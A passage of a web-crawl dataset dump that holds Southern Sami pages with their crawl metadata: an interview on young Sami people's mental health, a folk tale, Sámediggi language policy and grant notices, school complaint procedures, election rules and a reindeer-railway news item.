jieledh.","id":"","dump":"CC-MAIN-2019-30","url":"https:\/\/are.se\/barnutbildning\/grundskola\/letniengielelohkehtimmie","date":"2019-07-21T09:49:26Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-30\/segments\/1563195526940.0\/warc\/CC-MAIN-20190721082354-20190721104354-00315.warc.gz","language":"sma","language_score":1.0000002384,"language_script":"Latn","minhash_cluster_size":13,"top_langs":"{\"sma_Latn_score\": 1.000000238418579}","num_words":383,"character_repetition_ratio":0.118,"word_repetition_ratio":0.0,"special_characters_ratio":0.129,"stopwords_ratio":0.11,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Gïengeles tjarna noere saemiej psykiske healsoen sïjse\nOle-Henrik Bjørkmo Lifjell lea 24 jaepien båeries jïh båatsoefuelhkeste båata dehtie onne sijjeste Bleikvasslia Nordlaantesne. Goh åvtehke Saemiedigkien noerepolitihkeles moenehtsasse jïh prosjektekoordinatovre siebresne Mental Helse Ungdom dïhte aalkeme noere saemiej psykiske healsoem goerehtalledh.\nDïhte iktegisth stoerre ïedtjem saemien siebriedahkese jïh saemien siebriedahken åvteste åtneme, gaskem jeatjah såemies jaepiej juassah gosse mubpiejgujmie ektine gæmhpoeji juktie sov saemieskuvlem Aarbortesne utniehtidh jïh gosse peennam veelti jïh meatantjaeliejinie sjïdti EN:n ihkuve forumen gærjesne «Global indigenous youth – through their eyes».\n–Noere tjaelijh tjïjhtje aalkoealmetjeregijovnijste leah gærjam tjaaleme jïh manne kapihtelem saemiej bïjre tjeelim. Aarebi antropologh jïh dotkijh mah leah mijjen histovrijem tjaaleme. Daelie hov tïjje båateme mijjieh aalkoealmetjh jïjtjh mijjen histovrijem soptsestibie, jeahta.\nNOERE SAEMIEJ PSYKISKE HEALSOE\nDaelie gosse edtja noere saemiej healsoem goerehtalledh, dellie damta sov akte hijven våarome, juktie jïjtje lea noere jïh saemien. Prosjekte mejnie Mental Helse Ungdom lea nïerhkeme lea vaestiedassh åadtjodh jïh buerebe våaromem åadtjodh råajvarimmide.\n–Daate uvtemes goerehtallemeprosjekte dan åvteste mijjieh vuejnebe saemieh jïh joekoen noere saemieh vielie sijjen psykine tjabreminie goh jeatjah årrojh. Jïh mijjen leah taalh mah vuesiehtieh noere saemien nyjsenæjjah reektieh sijjieh asvine jïh psykine tjabreminie. Seamma tïjjen ibie doh seamma taalh utnieh noere saemien ålmide, men taalijste vuejnebe såemies saemien ålmah mah aemieluesieh. Daate gujht vuesehte psykiske healsoe lea vihkeles jïh byöroe vielie jarngesne årrodh saemien byjresisnie.\nNOERE NYJSENÆJJAH TJABREMINIE JÏH JEENJESH NEDTEAASSJOESTIMMIEM JÏH VÆDTSOESVOETEM DÅÅJROEH\n–Nyjsenæjjah mah tjabreminie, mejnie tjabreminie?\n–Amma raaktan dïhte, ij naan hijven dotkeme gååvnesh mij vuesehte mejnie saemien nyjsenæjjah tjabreminie jïh daate lea aamhtese mov prosjektesne, jïh fåantojde damtijidh dïsse mejnie saemien årrojh jïh joekoen noere saemieh tjabreminie. Mijjieh gujht såemies aerviedimmieh utnebe mejnie leah tjabreminie dan åvteste goerehtimmieh leah dorjesovveme nedteaassjoestimmien bïjre, jïh desnie vuejnebe dej identiteete låavtasåvva jïh gusnie snyjhkehtellieh goh saemie sosijaale meedijinie, jïh jienebh saemieh dan bïjre reektieh goh nöörjen årrojh. Mij akt jeatjah maam daejrebe lea fïerhte mubpie saemien nyjsenæjja lea vædtsoesvoetem dååjreme jïh fïerhte gåalmede ålma dam seamma dååjreme. Daate ij leah hijven goh, Ole Henrik jeahta.\n–Maahta maam akt jiehtedh mah dåehkieh nyjsenæjjijste mah tjabreminie, dah mah jolle jallh vuelege ööhpehtimmiem utnieh. Gusnie laantesne jïh vijriebasse?\n–Ijje, im maehtieh maam akte dan bïjre jiehtedh, ibie dam daejrieh annje, men seapan sïjhtebe vielie daejredh mænngan.\nAEMIELUESEME SÏEJHME SAEMIEN NOERI JÏH AALKOEALMETJI LUVNIE\n–Dotkeme gååvnese man åvteste noere saemien ålmah aemieluesieh?\n–Manne daatah ohtsedamme men idtjim naan hijven dotkemem dan bïjre gaavnh. Daate lea naakede mïsse sïjhtebe fokusem bïejedh gosse edtjebe gïengelåbpoe gihtjehtidh. Mijjieh hijven tjirkijh dejstie saemien jieliemijstie utnebe mah maehtieh soptsestidh guktie lea vuesiehtimmien gaavhtan båatsosne. Manne jïjtje båatsoefuelhkeste båatam jïh daajram dïhte akte maskulijne siebriedahke jïh ij leah dan stoerre sijjie dan bïjre soptsestidh mij lea fïereguhten dåeriesmoeri bïjre. Men seamma tïjjen maahta dam guarkedh dan guhkiem mijjieh libie daamtaj behtjiedamme ålkoelistie jïh ibie maehtieh dam stuvredh, goh gyhtjelassh areaali bïjre jïh ovvaantoeh mah daamtaj jijhtieh. Dellie tjuara ektesne tjåadtjodh goh saemien årrojh jïh systeemen vööste gæmhpodh jïh dellie ij sijjieh gååvnesh dan bïjre mij lea fïereguhten bïjre.\n- Maahta aemieluesemem viertiestidh aemieluesieminie aalkoealmetji gaskem jeatjah lehkesne?\n- Ij naan dotkeme Nöörjesne gååvnesh men gaajhkesh hov naakenem demtieh jallh åahpetjh utnieh mah naakenem demtieh mij aemieluaseme. Jïh jis saemien byjresistie båatah akten daaroen byjresasse dellie maahtah jïjtjemdh oksesne råakedh jïh aktem bieliem jïjtjestadth dassedh gosse stuerebe staaride jåhtah. Eah gaajhkesh dam haalvoeh gænnah. Seamma tïjjen dellie jienebh mah bieline sjidtieh ïedtjijste jïh ovvaantojste saemien byjresinie, gusnie illedahke sjædta sijjieh dessieh jallh billieh sijjieh sijjen saemien jieliemassem dessieh.\n–Dïhte prosjekte mejnie gïehtelh lea nasjonaale daltesisnie jïh mïsse dah daatah sijhtieh åtnasovvedh?\n–Jaavoe, daate akte nöörjen prosjekte jïh manne gegkestem daah illedahkh sijhtieh mijjen kraannalaanth skreejrehtidh seammalaakan darjodh juktie daate lea seamma sjyöhtehke saemide abpe Saepmesne. Jïh manne gegkestem mijjieh buektiehtibie råajvarimmieh tseegkedh guktie buerebe sjædta, juktie ij lijsh dotkemem utnedh mij vuesehte mejnie noerh tjabreminie jis ij tjïelke råajvarimmieh dorjesovvh mah dan vööste berkieh. Akte vuesiehtimmie lea guktie mahte lea iemie sjïdteme vestieslaakan tjaeledh saemiej bïjre sosijaale meedijinie, juktie ij daarpesjh vielie rasisme jïh dïebleme årrodh goh aarebi, men dïhte lea vielie våajnoes sjïdteme. Mijjieh sïjhtebe vuartasjidh dïsse maam noerh jïjtjh jiehtieh, men manne akte dejstie mij lea dam dååjreme jïh manne vïenhtem nedteaassjoestimmie lea naakede mïsse sïjhtebe tjoevkesem bïejedh daan prosjekten tjïrrh.\nORRIJDH AMBASSADÖÖRINE ÅRRODH DÏSSE MIJ LEA SAEMIEN\nMah numhtie, saemien noerh daamtaj tjuerieh sijjen reaktah voebnesjidh, man åvteste dej akte jïjtse gïele jïh plearoeh, gosse orre sijjiej gåajkoe juhtieh jïh sosijaale meedijinie?\n–Jaavoe, numhtie lea, dam jïjtje dååjreme jïh ij byörh naemhtie årrodh goh.\nEdtjieh reektehtsem bæjhkoehtidh Oslosne tjaktjen 2020 jïh dejnie saemien reeremedajvine åarjel, juvlem jïh noerhtesaemien gïelide.\n–Ulmie lea dah mah saemien noerigujmie berkieh, båetieh goltelieh mah haestemh noere saemieh utnieh. Mental Helse Ungdom sijhtieh Riddu Riddusne årrodh jïh desnie saemien noerh maehtieh gaskesem dejgujmie vaeltedh jïh sijjen tsiehkien bïjre soptsestidh jallh meatan årrodh goerehtallemisnie. Datne aaj mijjem Facebookesne gaavnh jïh mijjieh gegkiestibie gaskesem åadtjodh, Ole-Henrik minngemosth jeahta.","id":"","dump":"CC-MAIN-2019-30","url":"https:\/\/samimag.no\/sma\/content\/giengeles-tjarna-noere-saemiej-psykiske-healsoen-sijse","date":"2019-07-17T04:31:56Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-30\/segments\/1563195525046.5\/warc\/CC-MAIN-20190717041500-20190717063500-00431.warc.gz","language":"sma","language_score":0.9999964237,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 0.9999964237213135}","num_words":803,"character_repetition_ratio":0.048,"word_repetition_ratio":0.0,"special_characters_ratio":0.144,"stopwords_ratio":0.164,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Vuajnoeh jïh laejhtemh\nSynpunkter och klagomål\nUpmejen tjïelen skuvlesne vuajnoeh jïh laejhtemh bieliem kvalitetebarkoste. Dov vuajnoeh dan gaavhtan vihkeles jïh mijjide nuepiem vedtedh mijjen barkoem bueriedidh.\nNaemhtie dov vuajnoeh vadtah\nJis vuajnoeh jallh laejhtemh åtnah mijjen aarhskuvlen\/skuvlen darjomidie skreejrebe edtjh ryöktesth dejnie soptsestalledh gie lea meatan. Dovne positijveles jïh negatijveles vuajnoeh sïjhtebe govledh guktie mijjen laavenjassigujmie barkebe, gåabpatjahkh våaromem sjidtieh kvalitetebarkosne.\nJis laejhtih jïh dååjrh ij naan dam gïetedh dellie lïhkemes bijjebe åejviem bïeljelidh. Maahtah aaj dam darjodh jis ih dejnie gie meatan sïjhth soptsestalledh. Lïhkemes bijjebe åejvie dov vuajnoem jallh laejhtemem dåastohte jïh 14 biejjiej raejesne datnem beavna maam dov laejhteminie deahpade. Lïhkemes bijjebe åejvie dellie dïedtem åtna nænnoestamme barkoem dåeriedidh. Dååjrh ij buerebe sjïdth maahta laejhtemem daam öörnegisnie gïetedidh:\n- Voestes dejnie gie meatan soptsestalledh.\n- Rektovrem jallh aarhskuvleåejviem bïeljelidh.\n- Skuvledajveåejviem bïeljelidh.\n- Minngemes aarh- jïh maadthskuvledirektörem jallh jåarhke- jïh geerveööhpehtimmien skuvledirektörem bïeljelidh.\nJis ih fuakh guktie tjïelte laejhtemem gïetedi maahta Skuvleinspeksjovnese laejhtedh. Aaj nuepie gååvnese bijjebe klååkedh Skolväsenden bijjieklååkememoenehtsasse jallh byjjes reeremedåapmestovlese. Buerie båateme dov vuajnojne jïh\/jallh laejhteminie.\nBïeljelh rektovrem tjïelten veekselen tjïrrh.\n090-16 10 00 (veeksele)\nSkuvleinspeksjovnese laejhtedh\n(www.skolinspektionen.se)\nReeremenænnoestimmieh bijjebe klååkedh Reeremedåapmestovlese\n(www.domstol.se)\nNænnoestimmieh bijjebe klååkedh Skolväsenden bijjieklååkememoenehtsasse\n(www.overklagandenamnden.se)\nSidan har granskats 2016-01-29","id":"","dump":"CC-MAIN-2019-30","url":"https:\/\/www.umea.se\/umeakommun\/funktionsmappar\/sprak\/languages\/samegielat\/oohpehtimmiejihmaanahokse\/vuajnoehjihlaejhtemh.4.3f5fc95914ce7bcf45114dc6.html","date":"2019-07-17T18:48:33Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-30\/segments\/1563195525374.43\/warc\/CC-MAIN-20190717181736-20190717203736-00323.warc.gz","language":"sma","language_score":1.0000004768,"language_script":"Latn","minhash_cluster_size":14,"top_langs":"{\"sma_Latn_score\": 1.0000004768371582}","num_words":190,"character_repetition_ratio":0.07,"word_repetition_ratio":0.0,"special_characters_ratio":0.144,"stopwords_ratio":0.058,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Daate soptsese lea gærjeste Gorredh gïelem, maam Aasta Joma Granefjell, Liv Karin Joma jïh Albert Jåma tjaaleme. Jaepien 2004 Nordlaanten fylhken-ålma gærjam bæjhkoehti. Daennie soptsesinie maahtah lohkedh dellie gosse boelt-aajja dååjvehtsem saemeste krïebpesji.\nSaemien jïh boelt-aajjan dååjvehtse\nGuhkiem daan åvtelen man bïjre edtjem daelie soptsestidh.\nLopme abpe laantem alvas guhkiem gaptjeme. Ånnetji die sjalkesti, jïh laante eelki vååjnedh. Smaave daarhvetjh bïevline sjïdtin. Kraasetjh aaj. Voestes juvre bööti gåatoen. Bovtse dïhte. Dan mïnngesne jis saemie, bovtsen almetje.\nÅnnetji die boelt-aajja aaj mïnngesne slåahra-raejkien bööti vaedtsien. Ij lij gujht dïsse jïjnjem gaavnedh bårredh, eelki bovtsijste åesiem vaeltedh. Idtji goh saemie dam Iyjhkh, juktie bovtsh lin sov. Dejtie hov Raane-nïejteste åådtjeme.\nSaemie boelt-aajjese måarahtovvi, jïh jeahta: \"Aellieh daejstie mov bovtsijste vaeltieh goh! Ollem datnem buvvieh!\"\nBoelt-aajja jeahta. \"Mestie edtjem jieledh jis im manne aaj luhpiem åadtjoeh bovtsh bårrelidh seamma guktie datne?\"\nSaemie jeahta: \"Jielieh amma datne aaj kraesijste burhvijste guktie bovtse.\"\nBoelt-aajja dïsse. \"Nov gujht maaje, manne gujht aaj tuhtjem bearkoeh jïh buejtieh njaelkie.\"\nSaemie: \"Bovtse lea mov. Dam hov Raane-nïejteste åådtjeme.\"\nBoelt-aajja: \"Vööjnim hov mov duekesne jïjnjh gertelh aaj mïnngesne båetieh goeren. Dah sih aaj bovtsijste ussjedieh bårrelidh. Guktie vïenhth datne oktegh bovtside nahkesjh geehtedh gosse jïjnjh dejstie gertielijstie båetieh?\"\nSaemie: \"Mejtie sïjhth munnjien viehkine årrodh bovtside geehtedh?\"\nBoelt-aajja: \"Jaa, jis ohtje baalhketjem åadtjoem. Jis neastetjem munnjien aaj sååjhtoe, dle edtjem datnem viehkiehtidh bovtsem jïh laantem gertielijstie geehtedh.\"\nSaemie gujhth dåajvoehti.\nBïerne vihth: \"Aktem vihth dååjvehtsem datneste krïebpesjem.\"\nSaemie: \"Mij sån badth dïhte?\"\nBoelt-aajja: \"Jis sååjhtoe naakenem mov såeleste buvvedh, dellie galkh tjaebpieslaakan dåemiedidh - mannem heevehtidh jïh mov vueliem joejkedh, måarojde tjiehpieslaakan öörnedh jïh dujmieslaakan juvledh.\"\nSaemie: \"Dam aaj dåajvohtem.\"\nBoelt-aajja: \"Jis monnen dååjvehtsem åajeldh, dellie edtjh laantem dassedh, jïh guktie dellie vïenhth dej dov bovtsigujmie?\"\nNaemhtie dam dah guaktah seamadigan.[1]\nBaakoeh\nSaemien\nDaaroen\ndååjvehtse\nløfte\n- 1«Gorredh gïelem». Granefjell, Aasta Joma Jåma, Albert Joma, Liv Karin. Fylkesmannen i Nordland. 2004.\nLaavenjassh: Dïhte gollehkeKjernestoff\nQuize: Dïhte gollehke tïjjeKjernestoff\nLaavenjassh: BrorkeKjernestoff\nLaavenjassh: GurhtieKjernestoff\nLaavenjassh: RiepieKjernestoff\nLaavenjassh: Sjugniedimmie-soptseshKjernestoff\nLaavenjassh: Staaloej bïjreKjernestoff\nLaavenjassh: Staaloe jïh åerpienadtjhKjernestoff\nTjaeleme-laavenjassh staaloej bïjreKjernestoff\nLaavenjassh: Rovhtegen bïjreKjernestoff\nLaavenjassh Rovhtegen soptsesasseKjernestoff\nMaam rovhtegen bïjre måjhtah?Kjernestoff\nMaam saajvi bïjre måjhtah?Kjernestoff\nLaavenjassh: Saajvi bïjreKjernestoff\nLaavenjassh: Saajvejaevresne gööleminieKjernestoff\nQuize bïernen bïjreKjernestoff\nLaavenjassh: Bïernen bïjreKjernestoff\nLaavenjassh: Duvrien-ålmaKjernestoff\nLaavenjassh: VaajeseKjernestoff\nLaavenjassh: Biejjien nïejteKjernestoff\nLaavenjassh: Klies KliemmaKjernestoff\nLaavenjassh: Nahkoergöörnjen giebnieKjernestoff\nLaavenjassh: Naahkoegöörnje jaememeKjernestoff\nLaavenjassh: TjuvrieKjernestoff\nLaavenjassh: DïejveshKjernestoff\nDïhte gollehke tïjjeKjernestoff\nBrorkeKjernestoff\nGurhtieKjernestoff\nRiepieKjernestoff\nStaaloej bïjreKjernestoff\nDellie goh staaloe moere-galtine pruvriKjernestoff\nAkte staaloe mij dakterem utniKjernestoff\nStaaloe jïh åerpienadtjhKjernestoff\nNjeevetje-ietnie jïh RovhtegeKjernestoff\nSaajve-jaevresne gööleminieKjernestoff\nSaemie saajvi luvnieKjernestoff\nBïerneKjernestoff\n- Kjernestoff\nDuvrien-ålmaKjernestoff\nBiejjien nïejteKjernestoff\nKlies KliemmetKjernestoff\nNahkoergöörnjen giebnieKjernestoff\nNahkoergöörnjen jaememeKjernestoff\nSjeltien nåejtieKjernestoff\nTjuvrieKjernestoff","id":"","dump":"CC-MAIN-2019-35","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:182073\/topic:1:131964\/topic:1:185443\/resource:1:129768","date":"2019-08-21T21:12:33Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-35\/segments\/1566027316194.18\/warc\/CC-MAIN-20190821194752-20190821220752-00265.warc.gz","language":"sma","language_score":0.999879837,"language_script":"Latn","minhash_cluster_size":7,"top_langs":"{\"sma_Latn_score\": 0.9998798370361328}","num_words":420,"character_repetition_ratio":0.149,"word_repetition_ratio":0.0,"special_characters_ratio":0.146,"stopwords_ratio":0.069,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Saemien gïelh leah vihkeles fïereguhten gïeleutniejasse, saemien årroejidie jïh evtiedæmman saemien siebriedahkese. Saemien gïele ij leah ajve gaskesadtemen bïjre, men lea lïhke ektiedamme saemien identiteetese, kultuvreaarpan jïh ektievoetese. Saemien gïelh leah symbovle mijjen ektievoetese, mijjen aarpan jïh mijjen baantese mijjen maadtojde mijjen åvtelen. Gïelen tjïrrh akte ektievoete sjïdtede, saaht maam saemien gïelide almetje maahta jallh man vaenie jallh jïjnje akte almetje gïelem haalvoe.\nSaemien gïelepolitihke lea dan åvteste dovne aktem dasseme gïelem bååstede vaeltedh, jïh saemien gïelem evtiedidh dejnie dajvine gusnie gïele aarkebiejjien jieliedisnie åtnasåvva. Jalhts gïeletsiehkieh leah joekehts dellie gïele mijjem ektede akten ektie sjaavnjoen tjïrrh saemien gïelh vaarjelidh, evtiedidh jïh nænnoestehtedh. Saemien gïelepolitihke lea aaj mieriekrïevenassi bïjre, laakestuvrehtimieh jïh aarkebiejjien bïjre gïeleutniejidie. Saemien gïelh leah gaajhki siebriedahkesuerkiej bïjre, jïh akte hijven gïelepolitihke tjuara dam vuesiehtidh. Saemiedigkie sæjhta saemien gïelh edtjieh govlesovvedh, åtnasovvedh jïh vååjnedh siebriedahkesne, jïh Saemiedigkien gïelestrategije Gïelelutnjeme – Giellalåpptim – Giellalokten fokusem beaja vååjnedehtiemasse, evtiedæmman, dåårrehtæmman jïh maahtoelutnjemasse gaajhkine njieptjine. Strategije sæjhta aktem sjïere barkoem bïejedh gïelefaalenasside maanide jïh noeride. Gïelelutnjeme – Giellalåpptim – Giellalokten aaj fokusem beaja laavenjostose jïh iktedæmman gaskem institusjovnh, årgaanh jïh siebrieh mah saemien gïeligujmie berkieh.\nMijjen visjovne lea saemien gïelh edtjieh akte iemie bielie årrodh siebriedahkeste, jïh gaajhkesh edtjieh nuepiem åadtjodh saemien govledh, vuejnedh jïh nuhtjedh gaajhkine siebriedahkesuerkine. Saemien gïelh edtjieh akte iemie bielie aarkebiejjeste årrodh dovne dejtie mah saemiestieh jïh daaroestieh.\nSaemiedigkien gïelepolitihke aktem guhkies barkoem våaroeminie åtna jïh dam guhkiebasse barkoem salkehtimmine NBS 2016:18 Vaajmoegïele. Mijjen strategijh dejtie saemien gïelide sæjhta Saemiedigkien stuvremetjaatseginie årrodh dennie guhkiebasse barkosne Vaajmoegïeleste.\nDoh bijjemes ulmieh Saemiedigkien gïelestrategijese – Gïelelutnjeme – Giellalåpptim – Giellalokten\n- Mïrrestallije jïh seammavyörtegs gïelh\n- Våajnoes jïh siebriedahkeguedtije gïelh\nDaennie strategijesne 3 bijjemes barkoesuerkieh tjïerteste:\n- Gïeleråajvarimmieh maanide jïh noeride\n- Vååjnedehteme jïh laavenjostoe\n- Dåårrehtimmie jïh maahtoelutnjeme","id":"","dump":"CC-MAIN-2019-35","url":"https:\/\/www.saemiedigkie.no\/Dienesjh2\/Giele\/Mij-gielelutnjeme","date":"2019-08-22T16:47:44Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-35\/segments\/1566027317274.5\/warc\/CC-MAIN-20190822151657-20190822173657-00459.warc.gz","language":"sma","language_score":1.0000023842,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 1.000002384185791}","num_words":275,"character_repetition_ratio":0.088,"word_repetition_ratio":0.0,"special_characters_ratio":0.135,"stopwords_ratio":0.225,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Prosjekten sjïekenisnie SáMOS (Saemien maanah orre pedagogeles tjiehtjielinie), Saemiedigkie lea gærjam Maanaj gaavhtan\/Mánáj diehti\/Unna olbmožiid dihte\/Med tanke på barna bæjhkoehtamme jïh SáMOS-voessem dorjeme gusnie guksie, tjaetsieboehtele, beapmoeburhtje, reflekseveeste, reflekse jïh buffe. Gærjah leah ussjedamme maanagïerten barkijidie jïh voesside maanagïertemaanide.\nGærjah leah ussjedamme maanagïertebarkijidie jïh voessh leah maanagïertemaandie saemien maanagïertine jallh maanagïertine saemien maanajgujmie.\nMïerhkede dongkemem maanagïerten nommine jïh tjaalehsijjine, jïh man gellie voessh jïh gærjah dijjieh sïjhtede.\nJis jeatjebh sijhtieh gærjam åestedh Maanaj gaavhtan\/ Mánáj diehtie\/ Unna olbmožiid dihte\/Med tanke på barna, dellie åasa lea 180kråvnah, jïh dam maahta dongkedh seamma sijjesne.","id":"","dump":"CC-MAIN-2019-35","url":"https:\/\/www.saemiedigkie.no\/Saernievaaarhkoe\/Gaerjah-jih-voessh-maanagiertide","date":"2019-08-22T15:22:23Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-35\/segments\/1566027317274.5\/warc\/CC-MAIN-20190822151657-20190822173657-00491.warc.gz","language":"sma","language_score":0.9999190569,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 0.999919056892395}","num_words":92,"character_repetition_ratio":0.086,"word_repetition_ratio":0.0,"special_characters_ratio":0.143,"stopwords_ratio":0.174,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Daennie sæjrosne laavenjassh faage-sæjrose Draama jïh dramatihke.\n1. laavenjasse\nVeeljh aktem teater-vuasastallemem jallh spïele-filmem maam datne vuajneme. Buerkesth naan byjresh teater-vuasastallemisnie jallh spïele-filmesne. Tjaelieh aaj maam datne dej bïjre mïelh.\n2. laavenjasse\nUssjedh aktem spïele-filmem maam datne vuajneme. Buerkesth mij, dov mïelen mietie, lij filmen vihkielommes tsiehkie baalte-learoehkasse jallh lohkehtæjjese. Filme jarkelimmie-mieriem utni? Gusnie dahkoe jarkeli jïh tsiehkie dellie jeatjahtehti?\n3. laavenjasse\nDatne filmem jallh teaterem vuajneme, man lij galhkuve, maam idtjih veanhtedh?\nDraamaKjernestoff\nRaahkele-PiereKjernestoff","id":"","dump":"CC-MAIN-2019-35","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:176552\/topic:1:182306\/resource:1:173197","date":"2019-08-20T23:36:22Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-35\/segments\/1566027315681.63\/warc\/CC-MAIN-20190820221802-20190821003802-00307.warc.gz","language":"sma","language_score":0.9999934435,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"sma_Latn_score\": 0.9999934434890747}","num_words":72,"character_repetition_ratio":0.094,"word_repetition_ratio":0.0,"special_characters_ratio":0.153,"stopwords_ratio":0.056,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Veeljemesïetelh buektedh\nDah krirrieh mah åådtjeme jienebe enn akte proseente tjaatsestimmijste rïjhkebiejjieveeljemisnie dellie tjaatsestimmiedåastoji dïedte krirrieveeljemesïetelh buektieh gaajhkene lehkesne gusnie maahta tjaatsestidh.\nDïhte seamma dovne rïjhkebiejjieveeljemisnie jïh tjïelte- jïh laantedigkieveeljeminie. Dah krirrieh tjuerieh sjïere tïjje veeljemen åvteli jïjtje krïevedh dah dejtie edtjieh veeljemesïetelidie buektedh.\nVeeljemisnie tjïelte- jïh laantedigkiereeremidie krirrieh mah representeereme reaktam utnieh krirrieveeljemesïetelh veeljemesijjide jïh tjaatsestimmiesijjide tjïeltesne respektijve laantedigkesne buekteme. Tjaatsestimmiedåastojh aaj gåaroes veeljemesïetelh buektieh gaajhkine veeljeminie gusnie maahta tjaatsestidh. Nommeveeljemesïetelidie krirrieh jïjtje åadtjoeh buektedh.\nVeeljemisnie Europa-parlameentese veeljemereeremen dïedtem åtna nommeveeljemesïetelidie buakta gaajhkene lehkesne gusnie åådtje tjaatsestidh, jis krirrie ajve akte nommeveeljemesïetelem åtna mij abpe laantesne seamma faamoem åtna jïh unnemes akte proseentem tjaatsestimmijste seejnemes veeljemisnie Europa-parlameentese åadtjoeji. Dah krirrieh tjuerieh sjïere tïjje veeljemen åvteli jïjtje krïevedh dejtie veeljemesïetelidie edtjieh buektedh.","id":"","dump":"CC-MAIN-2019-35","url":"https:\/\/www.val.se\/servicelankar\/other-languages\/aarjelsaemiengiele-sydsamiska\/veeljemesietelh-buektedh.html","date":"2019-08-24T05:41:04Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-35\/segments\/1566027319724.97\/warc\/CC-MAIN-20190824041053-20190824063053-00096.warc.gz","language":"sma","language_score":0.9999952316,"language_script":"Latn","minhash_cluster_size":18,"top_langs":"{\"sma_Latn_score\": 0.999995231628418}","num_words":122,"character_repetition_ratio":0.119,"word_repetition_ratio":0.0,"special_characters_ratio":0.107,"stopwords_ratio":0.09,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Dåarjoe\nSaemiedigkie dåarjoem vadta saemien maanagïertide jïh saemien goevtesidie nöörjen maanagïertine mah saemien kultuvrem jïh gïelem våaroeminie utnieh.\nSaemiedigkie dåarjoem vadta maanagïertide mah eadtjohkelaakan berkieh saemien gïelh maanagïertesne nænnoestehtedh jïh evtiedidh.\nFormålet med tilskuddsordningen er å sikre det finansielle grunnlaget til organisasjonene til partier og grupper som er representert i Sametinget.\nTilskuddet lyses ut med forbehold om endringer ved Stortingets behandling av statsbudsjett for 2019.","id":"","dump":"CC-MAIN-2019-35","url":"https:\/\/www.saemiedigkie.no\/Daaarjoe-jih-stipende?page=2","date":"2019-08-22T15:23:24Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-35\/segments\/1566027317274.5\/warc\/CC-MAIN-20190822151657-20190822173657-00089.warc.gz","language":"sma","language_score":0.9945528507,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9945528507232666}","num_words":64,"character_repetition_ratio":0.095,"word_repetition_ratio":0.0,"special_characters_ratio":0.135,"stopwords_ratio":0.141,"flagged_words_ratio":0.0,"lang_id_score":0.996,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Daelie båatsoesaemieh tjuerieh jijtje beetneh-vierhtieh Jernbaneverkesne ohtsedh, gåessie ruevtie-raajroe bovtsh ruevtie geajnosne njeerveme. Aerebi dellie lij Fylhkeålma dihte gaske- gïete båatsoesaemiej jih Jernbaneverken gaskem.\nØørnege maam båatsoesaemieh guhkiem vuarteme\nBåatsoesaemieh tjoereme guhkiem beetnegh vuarteme. Nordlaanten båatsoesaemiej fylhkesiebrien åvtehke jih Voengelh Njaarken sijten åvtehke, Mads Kappfjell tuhtjie daate åajvoeh sjædta.\n– Manne tuhtjem daate sagke buerebe sjædta. Daan åvteste jis ruevtie-raajroe njeerveme dellie maahta Jernbaneverken gåajka dallah paehperidie seedtedh, Gæbpien Madtse jeahta.\nDaate lea privaatereaktoe Jernbaneverket jih båatsoe saemiej gaskem. Daate dorje Jernbaneverket maahta dallah-masten aamhtesem gïetedalledh.\n– Ij daarpesjh, gøøkte jallh golme jaepieh beetnegidie vuertedh, seamma-laakan goh daan mearan orreme, Gæbpien Madse jeahta.\n- Lohkh aaj: Ij naan giedtieboerove sjidth\nNordlaanten ruevtie-geajnosne, dellie ruevtie-raajroe gellie stoerre tsiehkien bovtsh, fierhten jaepien njeervie. Dej minngemes jeapiej ruevtie-raajroe gaskem 200- 650 bovtsh njeerveme.","id":"","dump":"CC-MAIN-2019-39","url":"https:\/\/www.nrk.no\/sapmi\/baatsoe-saemieh-tjoereme-guhkiem-beetnegh-vuarteme-1.12333402","date":"2019-09-21T05:52:20Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-39\/segments\/1568514574265.76\/warc\/CC-MAIN-20190921043014-20190921065014-00503.warc.gz","language":"sma","language_score":0.9999898672,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9999898672103882}","num_words":125,"character_repetition_ratio":0.099,"word_repetition_ratio":0.0,"special_characters_ratio":0.151,"stopwords_ratio":0.04,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Hele artikkelen er gjengitt på sørsamisk lenger ned på siden\n7.-11. november 2019 er det klart for samisk filmfestival på Røros kino: «Raasten rastah: Filmh»\nI en pressemelding fra Raasten rastah og Røros Kino heter det at festivalen vil være proppfull av samisk- og annen urfolksfilm. Siden vi befinner oss så sentralt i det sørsamiske landskapet vil festivalen fokusere litt 